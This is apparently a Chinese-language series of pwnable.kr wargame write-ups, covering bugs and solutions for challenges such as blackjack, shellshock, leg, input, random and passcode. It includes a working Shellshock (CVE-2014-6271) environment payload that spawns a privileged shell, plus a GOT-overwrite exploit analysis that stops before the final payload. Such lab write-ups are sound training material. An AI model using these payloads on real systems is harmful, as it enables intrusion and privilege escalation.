pwnable.kr-blackjack

题目描述:

Hey! check out this C implementation of blackjack game!
I found it online
* http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html

I like to give my flags to millionares.
how much money you got?
Running at : nc pwnable.kr 9009

看了下源码,就是个blackjack(21点)游戏,本还以为是需要自己写个机器人,过关的要求的是millionaire(100万),结果黑盒就过了,过程很简单,在投注的时候输了一个很大的数,第一次没有通过,要求重新输入,然后再输一次,并赢了这局就可以了。

看下源码,很容易发现有问题的地方:

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

这里if应该改成while,如果是if的话,这里只做了一次验证,第二次输入的bet并没有验证:

这样成功获得了flag:

YaY_I_AM_A_MILLIONARE_LOL
Cash: $727380468
——-
|S |
| 9 |
| S|
——-

Your Total is 9

The Dealer Has a Total of 10

flag是:

YaY_I_AM_A_MILLIONARE_LOL

pwnable.kr-coin1

题目描述:

Mommy, I wanna play a game!
(if your network response time is too slow, try nc 0 9007 inside pwnable.kr server)

Running at : nc pwnable.kr 9007

运行连接后发现是个小游戏:

—————————————————
– Shall we play a game? –
—————————————————

You have given some gold coins in your hand
however, there is one counterfeit coin among them
counterfeit coin looks exactly same as real coin
however, its weight is different from real one
real coin weighs 10, counterfeit coin weighes 9
help me to find the counterfeit coin with a scale
if you find 100 counterfeit coins, you will get reward 🙂
FYI, you have 30 seconds.

– How to play –
1. you get a number of coins (N) and number of chances (C)
2. then you specify a set of index numbers of coins to be weighed
3. you get the weight information
4. 2~3 repeats C time, then you give the answer

– Example –
[Server] N=4 C=2 # find counterfeit among 4 coins with 2 trial
[Client] 0 1 # weigh first and second coin
[Server] 20 # scale result : 20
[Client] 3 # weigh fourth coin
[Server] 10 # scale result : 10
[Client] 2 # counterfeit coin is third!
[Server] Correct!

– Ready? starting in 3 sec… –

需要在C步内找到N个coin中那个假的coin,我们发现N<=2^C,所以直接使用二分法就好了,由于本地跑程序的话延迟太高,无法在30秒内跑完程序,所以我们使用之前其他题目的ssh,在tmp目录下运行我们的程序,最后的脚本为:

import socket
import re

HOST = '0.0.0.0'
PORT = 9007
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
data = s.recv(2048)
#print data
while 1:
 data = s.recv(1024)
 #print data
 if(data.find("=")):
 N = re.findall(r'(\w*[0-9]+)\w*',data)
 a = int(N[0])
 b = int(N[1])
 start = 0
 end = a
 while(1):
 half = start + (end - start)/2 + (end - start)%2
 string = ""
 for i in range(start,half):
 string += str(i) + ' '
 string = string + "\n"
 #print string
 s.send(string)
 data = s.recv(1024)
 if(data.find("Correct!") == 0):
 print data
 break
 Rev_Num = int(data)
 #print start,"|",half,"|",end
 Sum = (half -start)*10
 #print Rev_Num, Sum
 if( Rev_Num < Sum):
 end = half
 else:
 start = half

s.close()

成功找到100个coin后,服务器返回flag:

b1NaRy_S34rch1nG_1s_3asy_p3

pwnable.kr-shellshock

题目描述:

Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure 🙂
ssh [email protected] -p2222 (pw:guest)

shellshock.c的源码为:

#include <stdio.h>
int main(){
	setresuid(getegid(), getegid(), getegid());
	setresgid(getegid(), getegid(), getegid());
	system("/home/shellshock/bash -c 'echo shock_me'");
	return 0;
}

顾名思义了,这题就是需要利用shellshock漏洞来获取flag,具体的讲解参见:http://www.myhack58.com/Article/html/3/62/2015/60779.htm

所以我们构造payload:export foo='() { :; }; cat flag‘直接获取flag,或者export foo='() { :; }; bash’切换成shellshock2用户的bash,然后再执行命令获取flag:

[email protected]:/home/shellshock$ export foo='() { :; }; bash’
[email protected]:/home/shellshock$ ./shellshock
[email protected]:/home/shellshock$
[email protected]:/home/shellshock$
[email protected]:/home/shellshock$ cat flag
only if I knew CVE-2014-6271 ten years ago..!!
[email protected]:/home/shellshock$ cat flag
only if I knew CVE-2014-6271 ten years ago..!!
[email protected]:/home/shellshock$ whoami
shellshock
[email protected]:/home/shellshock$ cat flag
only if I knew CVE-2014-6271 ten years ago..!!
[email protected]:/home/shellshock$ id
uid=1048(shellshock) gid=1049(shellshock2) groups=1048(shellshock)

最后的flag为:only if I knew CVE-2014-6271 ten years ago..!!

pwnable.kr-mistake

题目描述:

We all make mistakes, let’s move on.
(don’t take this too seriously, no fancy hacking skill is required at all)

This task is based on real event
Thanks to dhmonkey

hint : operator priority

ssh [email protected] -p2222 (pw:guest)

mistake.c的源码:

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
 int i;
 for(i=0; i<len; i++){
 s[i] ^= XORKEY;
 }
}

int main(int argc, char* argv[]){
 
 int fd;
 if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
 printf("can't open password %d\n", fd);
 return 0;
 }

 printf("do not bruteforce...\n");
 sleep(time(0)%20);

 char pw_buf[PW_LEN+1];
 int len;
 if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
 printf("read error\n");
 close(fd);
 return 0; 
 }

 char pw_buf2[PW_LEN+1];
 printf("input password : ");
 scanf("%10s", pw_buf2);

 // xor your input
 xor(pw_buf2, 10);

 if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
 printf("Password OK\n");
 system("/bin/cat flag\n");
 }
 else{
 printf("Wrong Password\n");
 }

 close(fd);
 return 0;
}

这里我们看看fd的值:

首先,当存在/home/mistake/passcode文件时,fd的返回值为0,而当fd为0时,根据pwnable.kr-fd 我们知道,read()函数第一个参数为0时,read的值来自stdin,也就是通过命令行输入,而不是本题源代码的意思,取自passcode文件,这样,答案我们就可控了。最后我们看到pw_buf和pw_buf2进行比较,如果相同的话,返回正确的flag。

pw_buf等于我们输入的内容,而pw_buf2等于pw_buf每一位的内容与1进行xor后的值,所以这里我们输入pw_buf为1111111111,pw_buf1为0000000000,即可获得flag:

[email protected]:~$ ./mistake
do not bruteforce…
1111111111
input password : 0000000000
Password OK
Mommy, the operator priority always confuses me 🙁

所以最终的flag为:

ommy, the operator priority always confuses me 🙁

pwnable.kr-leg

题目描述:

Daddy told me I should study arm.
But I prefer to study my leg!

Download : http://pwnable.kr/bin/leg.c
Download : http://pwnable.kr/bin/leg.asm

ssh [email protected] -p2222 (pw:guest)

这题的描述比较有意思,这题主要考察arm的汇编指令,当然此ARM非彼arm(胳膊),leg.c的代码:

#include &amp;amp;amp;amp;lt;stdio.h&amp;amp;amp;amp;gt;
#include &amp;amp;amp;amp;lt;fcntl.h&amp;amp;amp;amp;gt;
int key1(){
 asm("mov r3, pc\n");
}
int key2(){
 asm(
 "push {r6}\n"
 "add r6, pc, $1\n"
 "bx r6\n"
 ".code 16\n"
 "mov r3, pc\n"
 "add r3, $0x4\n"
 "push {r3}\n"
 "pop {pc}\n"
 ".code 32\n"
 "pop {r6}\n"
 );
}
int key3(){
 asm("mov r3, lr\n");
}
int main(){
 int key=0;
 printf("Daddy has very strong arm! : ");
 scanf("%d", &amp;amp;amp;amp;amp;key);
 if( (key1()+key2()+key3()) == key ){
 printf("Congratz!\n");
 int fd = open("flag", O_RDONLY);
 char buf[100];
 int r = read(fd, buf, 100);
 write(0, buf, r);
 }
 else{
 printf("I have strong leg :P\n");
 }
 return 0;
}

leg.asm的代码:

(gdb) disass main
Dump of assembler code for function main:
 0x00008d3c <+0>: push {r4, r11, lr}
 0x00008d40 <+4>: add r11, sp, #8
 0x00008d44 <+8>: sub sp, sp, #12
 0x00008d48 <+12>: mov r3, #0
 0x00008d4c <+16>: str r3, [r11, #-16]
 0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
 0x00008d54 <+24>: bl 0xfb6c <printf>
 0x00008d58 <+28>: sub r3, r11, #16
 0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
 0x00008d60 <+36>: mov r1, r3
 0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
 0x00008d68 <+44>: bl 0x8cd4 <key1>
 0x00008d6c <+48>: mov r4, r0
 0x00008d70 <+52>: bl 0x8cf0 <key2>
 0x00008d74 <+56>: mov r3, r0
 0x00008d78 <+60>: add r4, r4, r3
 0x00008d7c <+64>: bl 0x8d20 <key3>
 0x00008d80 <+68>: mov r3, r0
 0x00008d84 <+72>: add r2, r4, r3
 0x00008d88 <+76>: ldr r3, [r11, #-16]
 0x00008d8c <+80>: cmp r2, r3
 0x00008d90 <+84>: bne 0x8da8 <main+108>
 0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
 0x00008d98 <+92>: bl 0x1050c <puts>
 0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
 0x00008da0 <+100>: bl 0xf89c <system>
 0x00008da4 <+104>: b 0x8db0 <main+116>
 0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
 0x00008dac <+112>: bl 0x1050c <puts>
 0x00008db0 <+116>: mov r3, #0
 0x00008db4 <+120>: mov r0, r3
 0x00008db8 <+124>: sub sp, r11, #8
 0x00008dbc <+128>: pop {r4, r11, pc}
 0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
 0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
 0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
 0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
 0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
 0x00008cd8 <+4>: add r11, sp, #0
 0x00008cdc <+8>: mov r3, pc
 0x00008ce0 <+12>: mov r0, r3
 0x00008ce4 <+16>: sub sp, r11, #0
 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
 0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
 0x00008cf4 <+4>: add r11, sp, #0
 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
 0x00008cfc <+12>: add r6, pc, #1
 0x00008d00 <+16>: bx r6
 0x00008d04 <+20>: mov r3, pc
 0x00008d06 <+22>: adds r3, #4
 0x00008d08 <+24>: push {r3}
 0x00008d0a <+26>: pop {pc}
 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
 0x00008d10 <+32>: mov r0, r3
 0x00008d14 <+36>: sub sp, r11, #0
 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
 0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
 0x00008d24 <+4>: add r11, sp, #0
 0x00008d28 <+8>: mov r3, lr
 0x00008d2c <+12>: mov r0, r3
 0x00008d30 <+16>: sub sp, r11, #0
 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
 0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb) 

这题的代码其实很简单,我们输入的key,需要让他满足其值为key1(), key2(), key3()三个函数返回值的和,这里需要对三个函数分别进行分析:

首先是key1:

Dump of assembler code for function key1:
 0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
 0x00008cd8 <+4>: add r11, sp, #0
 0x00008cdc <+8>: mov r3, pc
 0x00008ce0 <+12>: mov r0, r3
 0x00008ce4 <+16>: sub sp, r11, #0
 0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
 0x00008cec <+24>: bx lr

在ARM汇编中,子函数通常是通过寄存器r0返回函数的返回值,所以这里我们看r0的值,r0等于r3,r3等于pc的值,关于pc的说明,请见:http://blog.sina.com.cn/s/blog_bcdac52b0101nf7j.html

所以这里r0也就是key1的值为0x8cdc+8

接着是key2:

Dump of assembler code for function key2:
 0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
 0x00008cf4 <+4>: add r11, sp, #0
 0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
 0x00008cfc <+12>: add r6, pc, #1
 0x00008d00 <+16>: bx r6
 0x00008d04 <+20>: mov r3, pc
 0x00008d06 <+22>: adds r3, #4
 0x00008d08 <+24>: push {r3}
 0x00008d0a <+26>: pop {pc}
 0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
 0x00008d10 <+32>: mov r0, r3
 0x00008d14 <+36>: sub sp, r11, #0
 0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
 0x00008d1c <+44>: bx lr
End of assembler dump.

key2中r0的值也是来自r3,r3等于偏移20处的pc的值,然后下一行再加上4,这里需要注意的是,这里有一个bx,关于bx,请见:http://blog.csdn.net/liuchao1986105/article/details/6539728

在c代码中我们也可以看到.code的伪指令,来表明是ARM指令和thumb指令之间的切换,所以这里的pc统统都变成了当前地址+4,因为指令集由ARM的32位的指令变成16指令,对应的指令长度变成了原来的一半,所以这里r0也就是key2的值为0x8d04+4+4

最后是key3:

Dump of assembler code for function key3:
 0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
 0x00008d24 <+4>: add r11, sp, #0
 0x00008d28 <+8>: mov r3, lr
 0x00008d2c <+12>: mov r0, r3
 0x00008d30 <+16>: sub sp, r11, #0
 0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
 0x00008d38 <+24>: bx lr
End of assembler dump.

这里r0等于r3就是等于lr的值,关于lr指令,一般它的值等于:1、子函数的返回地址;2、发生异常时pc-4,这里lr保证了程序能够正常运行,由于这里程序并没有异常,所以这里保存的是key3()函数的返回地址,也就是:0x8d80

所以最终key的值应该为0x8cdc+8+0x8d04+4+4+0x8d80=108400

然后输入这个key,就能成功获得flag:

/ $ ./leg
Daddy has very strong arm! : 108400
Congratz!
My daddy has a lot of ARMv5te muscle!

最终的flag为:

My daddy has a lot of ARMv5te muscle!

pwnable.kr-input

题目描述:

Mom? how can I pass my input to a computer program?

ssh [email protected] -p2222 (pw:guest)

连接上ssh后,input.c的源码如下:

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;arpa/inet.h&gt;

int main(int argc, char* argv[], char* envp[]){
 printf("Welcome to pwnable.kr\n");
 printf("Let's see if you know how to give input to program\n");
 printf("Just give me correct inputs then you will get the flag :)\n");

 // argv
 if(argc != 100) return 0;
 if(strcmp(argv['A'],"\x00")) return 0;
 if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
 printf("Stage 1 clear!\n");

 // stdio
 char buf[4];
 read(0, buf, 4);
 if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
 read(2, buf, 4);
 if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
 printf("Stage 2 clear!\n");

 // env
 if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
 printf("Stage 3 clear!\n");

 // file
 FILE* fp = fopen("\x0a", "r");
 if(!fp) return 0;
 if( fread(buf, 4, 1, fp)!=1 ) return 0;
 if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
 fclose(fp);
 printf("Stage 4 clear!\n");

 // network
 int sd, cd;
 struct sockaddr_in saddr, caddr;
 sd = socket(AF_INET, SOCK_STREAM, 0);
 if(sd == -1){
 printf("socket error, tell admin\n");
 return 0;
 }
 saddr.sin_family = AF_INET;
 saddr.sin_addr.s_addr = INADDR_ANY;
 saddr.sin_port = htons( atoi(argv['C']) );
 if(bind(sd, (struct sockaddr*)&amp;saddr, sizeof(saddr)) &lt; 0){
 printf("bind error, use another port\n");
 return 1;
 }
 listen(sd, 1);
 int c = sizeof(struct sockaddr_in);
 cd = accept(sd, (struct sockaddr *)&amp;caddr, (socklen_t*)&amp;c);
 if(cd &lt; 0){
 printf("accept error, tell admin\n");
 return 0;
 }
 if( recv(cd, buf, 4, 0) != 4 ) return 0;
 if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
 printf("Stage 5 clear!\n");

 // here's your flag
 system("/bin/cat flag");
 return 0;
}

这题代码显而易见并没有需要溢出的地方,这里考察的是unix下的数据传输,我们分别看下5个stage。

Stage1

需要通过argv传递参数,由于这里需要满足argv[‘A’]=”\x00″ argv[‘B’]=”\x20\x0a\x0d”,这些都是不可见字符,并且是空字符以及回车换行符,所以这里不能够使用python通过命令行传递参数,这里使用C语言编写程序,通过子进程的方法调用input程序进行传参

Stage2

这里我们又遇到read函数了,在pwnable.kr的第一题中就涉及到:pwnable.kr-fd

当fd为0时,为stdin ,fd为1时,为stdout,fd为2时,为stderr,

所以这里我们使用fork创建子进程,pipe进行管道传输,具体见下面的代码

Stage3

stage3使用env传递参数,env是标准main函数三个参数中的一个,它的值是系统环境变量,默认是不需要填写的。这里我们需要通过设定env=”\xde\xad\xbe\xef=\xca\xfe\xba\xbe” ,然后通过execve(“/root/Desktop/input”, argv, env);进行传递

Stage4

需要在文件名为”\x0a“的文件中读取字符,判断是否为”\x00\x00\x00\x00″,这里直接把源代码中的读取文件改成写文件就可以了:

 FILE* fp = fopen("\x0a", "w");
 if(!fp){printf("cannot open\n");return 0;}
 char *buff = "\x00\x00\x00\x00";
 fwrite(buff, 4, 1, fp);
 fclose(fp);

Stage5

socket编程,同样和4一样,只要把接受改成发送就可以了,这里需要注意的是socket的端口是通过argv[‘C’]来控制的,所以我们需要设置好argv[‘C’],然后在执行第五部之前需要有一个延时,因为这里我们需要时间完成第四部不同进程间的通信:

sleep(5);
 int sd;
 struct sockaddr_in saddr;
 sd = socket(AF_INET, SOCK_STREAM, 0);
 if(sd == -1)
 {
 printf("socket error, tell admin\n");
 return 0;
 }
 saddr.sin_family = AF_INET;
 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
 saddr.sin_port = htons(2333);
 if(connect(sd, (struct sockaddr*) &amp;saddr, sizeof(saddr)))
 {
 perror("Problem connecting\n");
 exit(1);
 }
 printf("Connected\n");
 write(sd,"\xde\xad\xbe\xef",4);
 close(sd);

所以最后的代码为:

#include<unistd.h>
#include<string.h>
#include<stdio.h>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<stdlib.h>

int main()
{
 int pipe0[2], pipe1[2];
 char *argv[101] = {[0 ... 99] = "A"};
 argv['A'] = "\x00";
 argv['B'] = "\x20\x0a\x0d";
 argv['C'] = "55555";
 char *env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe"};

 FILE* fp = fopen("\x0a", "w");
 if(!fp){printf("cannot open\n");return 0;}
 char *buff = "\x00\x00\x00\x00";
 fwrite(buff, 4, 1, fp);
 fclose(fp);

 if(pipe(pipe0) < 0 || pipe(pipe1) < 0)
 {
 printf("pipe create error\n");
 return 0;
 }
 if(fork() == 0)
 {
 dup2(pipe0[0],0);
 dup2(pipe1[0],2);
 close(pipe0[1]);
 close(pipe1[1]);
 execve("/root/Desktop/input", argv, env);
 }
 else
 {
 write(pipe0[1],"\x00\x0a\x00\xff",4);
 write(pipe1[1],"\x00\x0a\x02\xff",4);
 close(pipe0[1]);
 close(pipe1[1]);

 }
 //network
 sleep(5);
 int sd;
 struct sockaddr_in saddr;
 sd = socket(AF_INET, SOCK_STREAM, 0);
 if(sd == -1)
 {
 printf("socket error, tell admin\n");
 return 0;
 }
 saddr.sin_family = AF_INET;
 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
 saddr.sin_port = htons(55555);
 if(connect(sd, (struct sockaddr*) &saddr, sizeof(saddr)))
 {
 perror("Problem connecting\n");
 exit(1);
 }
 printf("Connected\n");
 write(sd,"\xde\xad\xbe\xef",4);
 close(sd);
 return 0;
}

这里不要忘了添加文件头,然后我们把代码放到pwnable.kr服务器上的/tmp/input目录,由于目录下并没有flag,我们执行ln /home/input/flag flag,把flag重定向到当前目录下,最后编译运行得到flag:

Just give me correct inputs then you will get the flag 🙂
Stage 1 clear!
Stage 2 clear!
Stage 3 clear!
Stage 4 clear!
Connected
Stage 5 clear!
Mommy! I learned how to pass various input in Linux 🙂

flag为:Mommy! I learned how to pass various input in Linux 🙂

pwnable.kr-random

题目描述:

Daddy, teach me how to use random value in programming!

ssh [email protected] -p2222 (pw:guest)

其中random.c的代码为:

#include <stdio.h>

int main(){
 unsigned int random;
 random = rand(); // random value!

 unsigned int key=0;
 scanf("%d", &key);

 if( (key ^ random) == 0xdeadbeef ){
 printf("Good!\n");
 system("/bin/cat flag");
 return 0;
 }

 printf("Wrong, maybe you should try 2^32 cases.\n");
 return 0;
}

代码很简单,一开始以为是需要通过key溢出覆盖random的值,结果经过调试发现每次random()生成的数值是固定的,因为在本题的代码中并没有制定随机数种子(seed),导致每次生成的第一个数都是固定的。

第一个数为:0x6b8b456,最后的结果要求是(key ^ random) == 0xdeadbeef,

所以key的值应该为:0xdeadbeef^0x6b8b4567=3039230856

输入之后,获得flag:

[email protected]:~$ ./random
3039230856
Good!
Mommy, I thought libc random is unpredictable…

所以flag为:

Mommy, I thought libc random is unpredictable…

pwnable.kr-passcode

依然是题目描述:

Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?

ssh [email protected] -p2222 (pw:guest)

连上后,目录下有c源码和可执行文件,

首先查看下程序开了那些防护措施:

gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

这里开启了canary,所以我们只能够利用一次任意内存写的功能,无法通过写入shellcode 再到跳转到shellcode的地址来exploit(至少写文章的时候我还不会其他方法),同样的我们在反汇编的代码中也可以看出来采用了canary:

gdb-peda$ disas welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push ebp
0x0804860a <+1>: mov ebp,esp
0x0804860c <+3>: sub esp,0x88
0x08048612 <+9>: mov eax,gs:0x14
0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804861b <+18>: xor eax,eax
0x0804861d <+20>: mov eax,0x80487cb
0x08048622 <+25>: mov DWORD PTR [esp],eax
0x08048625 <+28>: call 0x8048420 <[email protected]>
0x0804862a <+33>: mov eax,0x80487dd
0x0804862f <+38>: lea edx,[ebp-0x70]
0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx
0x08048636 <+45>: mov DWORD PTR [esp],eax
0x08048639 <+48>: call 0x80484a0 <[email protected]>
0x0804863e <+53>: mov eax,0x80487e3
0x08048643 <+58>: lea edx,[ebp-0x70]
0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx
0x0804864a <+65>: mov DWORD PTR [esp],eax
0x0804864d <+68>: call 0x8048420 <[email protected]>
0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc]
0x08048655 <+76>: xor eax,DWORD PTR gs:0x14
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <[email protected]>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.

开始的时候有个mov eax, gs:0x14,结尾的时候有个xor eax,gs:0x14,通过存储函数运行前后堆栈的状态来判断是否有栈溢出,从而进行保护。这里如果我们要进行利用,只能在结束的检测之前利用完成,或者在检测中只是进行构造利用代码,不影响栈的状态,然后在随后的程序中进行利用。

源码为:

#include <stdio.h>
#include <stdlib.h>

void login(){
 int passcode1;
 int passcode2;

 printf("enter passcode1 : ");
 scanf("%d", passcode1);
 fflush(stdin);

 // ha! mommy told me that 32bit is vulnerable to bruteforcing 🙂
 printf("enter passcode2 : ");
 scanf("%d", passcode2);

 printf("checking...\n");
 if(passcode1==338150 && passcode2==13371337){
 printf("Login OK!\n");
 system("/bin/cat flag");
 }
 else{
 printf("Login Failed!\n");
 exit(0);
 }
}

void welcome(){
 char name[100];
 printf("enter you name : ");
 scanf("%100s", name);
 printf("Welcome %s!\n", name);
}

int main(){
 printf("Toddler's Secure Login System 1.0 beta.\n");

 welcome();
 login();

 // something after login...
 printf("Now I can safely trust you that you have credential :)\n");
 return 0; 
}

我们可以看到scanf接受的参数写错了,没有加取地址符号,这样就会把参数中的数值作为地址进行写入了,现在的问题是我们如何来控制passcode1的内容呢?我们用gdb对程序进行调试:

gdb-peda$ r
Starting program: /root/Desktop/passcode
Toddler’s Secure Login System 1.0 beta.
[———————————-registers———————————–]
EAX: 0x28 (‘(‘)
EBX: 0x0
ECX: 0xf7fd3028 –> 0x0
EDX: 0xf7fb0870 –> 0x0
ESI: 0x1
EDI: 0xf7faf000 –> 0x1b3db0
EBP: 0xffffd888 –> 0xffffd8a8 –> 0x0
ESP: 0xffffd800 –> 0xf7fafd60 –> 0xfbad2a84
EIP: 0x8048612 (<welcome+9>: mov eax,gs:0x14)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[————————————-code————————————-]
0x8048609 <welcome>: push ebp
0x804860a <welcome+1>: mov ebp,esp
0x804860c <welcome+3>: sub esp,0x88
=> 0x8048612 <welcome+9>: mov eax,gs:0x14
0x8048618 <welcome+15>: mov DWORD PTR [ebp-0xc],eax
0x804861b <welcome+18>: xor eax,eax
0x804861d <welcome+20>: mov eax,0x80487cb
0x8048622 <welcome+25>: mov DWORD PTR [esp],eax
[————————————stack————————————-]
0000| 0xffffd800 –> 0xf7fafd60 –> 0xfbad2a84
0004| 0xffffd804 –> 0x27 (“‘”)
0008| 0xffffd808 –> 0xf7fafd60 –> 0xfbad2a84
0012| 0xffffd80c –> 0xf7e6734b (<_IO_file_overflow+219>: add esp,0x10)
0016| 0xffffd810 –> 0xf7fafd60 –> 0xfbad2a84
0020| 0xffffd814 –> 0xf7fd3000 (“Toddler’s Secure Login System 1.0 beta.\n”)
0024| 0xffffd818 –> 0x28 (‘(‘)
0028| 0xffffd81c –> 0xf7e6727c (<_IO_file_overflow+12>: add edx,0x147d84)
[——————————————————————————]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048612 in welcome ()

当我们断点在welcome函数中时,ebp的内容为:0xffffd888

gdb-peda$ c
Continuing.
enter you name : aaaaa
Welcome aaaaa!
[———————————-registers———————————–]
EAX: 0x0
EBX: 0x0
ECX: 0x7ffffff2
EDX: 0xf7fb0870 –> 0x0
ESI: 0x1
EDI: 0xf7faf000 –> 0x1b3db0
EBP: 0xffffd888 –> 0xffffd8a8 –> 0x0
ESP: 0xffffd860 –> 0xf7fe83cb (add ebp,0x14c35)
EIP: 0x804856a (<login+6>: mov eax,0x8048770)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[————————————-code————————————-]
0x8048564 <login>: push ebp
0x8048565 <login+1>: mov ebp,esp
0x8048567 <login+3>: sub esp,0x28
=> 0x804856a <login+6>: mov eax,0x8048770
0x804856f <login+11>: mov DWORD PTR [esp],eax
0x8048572 <login+14>: call 0x8048420 <[email protected]>
0x8048577 <login+19>: mov eax,0x8048783
0x804857c <login+24>: mov edx,DWORD PTR [ebp-0x10]
[————————————stack————————————-]
0000| 0xffffd860 –> 0xf7fe83cb (add ebp,0x14c35)
0004| 0xffffd864 –> 0xf7dfa700 (0xf7dfa700)
0008| 0xffffd868 –> 0x0
0012| 0xffffd86c –> 0xf7fafd60 –> 0xfbad2a84
0016| 0xffffd870 –> 0xffffd8a8 –> 0x0
0020| 0xffffd874 –> 0xf7feec80 (pop edx)
0024| 0xffffd878 –> 0xf7e5cbeb (<puts+11>: add ebx,0x152415)
0028| 0xffffd87c –> 0xfb14c000
[——————————————————————————]
Legend: code, data, rodata, value

Breakpoint 2, 0x0804856a in login ()

当我们断在login函数中时,发现ebp的内容也为:0xffffd888。

在ida中我们发现,name的地址为:[ebp-70h] passcode1的地址为[ebp-10h],两个地址在同一个堆栈中,而且相差为70h-10h=60h=96,而name的大小为100个字节,那么正好我们可以通过name的后四个字节来覆盖passcode1的内容。

接下来如何利用写入passcode1的地址来控制eip跳转到执行cat flag的地方,或者是跳转到我们的shellcode呢?

这里使用了GOT覆盖技术,GOT覆盖可以理解为一个程序中调用函数的表,我们利用name的后四个字节控制了scanf写入内容的地址,然后通过scanf改写GOT表,使eip跳转到我们制定的地方,我们看下程序中调用system的地址:

0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af
0x080485ea <+134>: call 0x8048460 <[email protected]>

可以看到地址为0x080485e3 这个地址是我们需要将GOT表中内容覆盖的地址,换成10进制就是:134514147,我们再看下passcode的GOT表:

➜ Desktop readelf -r passcode

Relocation section ‘.rel.dyn’ at offset 0x388 contains 2 entries:
Offset Info Type Sym.Value Sym. Name
08049ff0 00000606 R_386_GLOB_DAT 00000000 __gmon_start__
0804a02c 00000b05 R_386_COPY 0804a02c [email protected]_2.0

Relocation section ‘.rel.plt’ at offset 0x398 contains 9 entries:
Offset Info Type Sym.Value Sym. Name
0804a000 00000107 R_386_JUMP_SLOT 00000000 [email protected]_2.0
0804a004 00000207 R_386_JUMP_SLOT 00000000 [email protected]_2.0
0804a008 00000307 R_386_JUMP_SLOT 00000000 [email protected]_2.4
0804a00c 00000407 R_386_JUMP_SLOT 00000000 [email protected]_2.0
0804a010 00000507 R_386_JUMP_SLOT 00000000 [email protected]_2.0
0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a018 00000707 R_386_JUMP_SLOT 00000000 [email protected]_2.0
0804a01c 00000807 R_386_JUMP_SLOT 00000000 [email protected]_2.0
0804a020 00000907 R_386_JUMP_SLOT 00000000 [email protected]_2.7

我们看到在system和printf passcode1之间调用了printf fflush,所以这些函数在GOT中的地址我们都可以利用,这里选择fflush的地址0x0804a004,这个地址是需要利用name的后四位进行覆盖的,所以我们最终的payload为:

